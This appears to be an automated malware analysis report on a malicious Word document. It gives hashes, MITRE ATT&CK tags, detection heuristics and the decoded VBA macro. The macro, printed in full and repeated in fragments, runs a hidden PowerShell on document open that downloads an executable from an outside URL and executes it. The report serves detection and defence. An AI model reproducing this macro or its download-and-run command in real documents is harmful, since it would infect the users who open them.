Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3a9602d2ebe11016…

MALICIOUS

Office (OLE)

27.5 KB Created: 2017-11-09 12:36:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 9f2d982b3cf2bc735a5dc1f266c747ce SHA-1: bfacf0d9222852a4be48e8c4001263176b24221e SHA-256: 3a9602d2ebe1101601e83ae2b4f3bbee6d0985f138d306562546757fbd0b81e2
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro within the Document_Open subroutine that executes a command. This command uses cmd.exe to launch PowerShell, which downloads a second-stage executable from 'http://antespan.com/quotationdocuments016789234567.exe' and saves it as '%Appdata%\DroppedStub'. The downloaded file is then executed. This indicates a downloader or droppper functionality.

Heuristics 11

  • ClamAV: Doc.Macro.Downloader-6360616-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Downloader-6360616-1
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Private Sub Document_Open()
Shell ("cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden
(New-Object
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Private Sub Document_Open()
Shell ("cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden
(New-Object
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    Private Sub Document_Open()
Shell ("cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden
(New-Object
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
Shell ("cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://antespan.com/quotationdocuments016789234567.exe In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 580 bytes
SHA-256: 1a57fd5c9d119ce735a716c4c1acd0372d6d4e8ffb8894847c3b3857998794f1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Shell ("cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden
(New-Object
System.Net.WebClient).DownloadFile('http://antespan.com/quotationdocuments016789234567.exe','%Appdata
%\DroppedStub');&start %Appdata%\DroppedStub& exit")
End Sub

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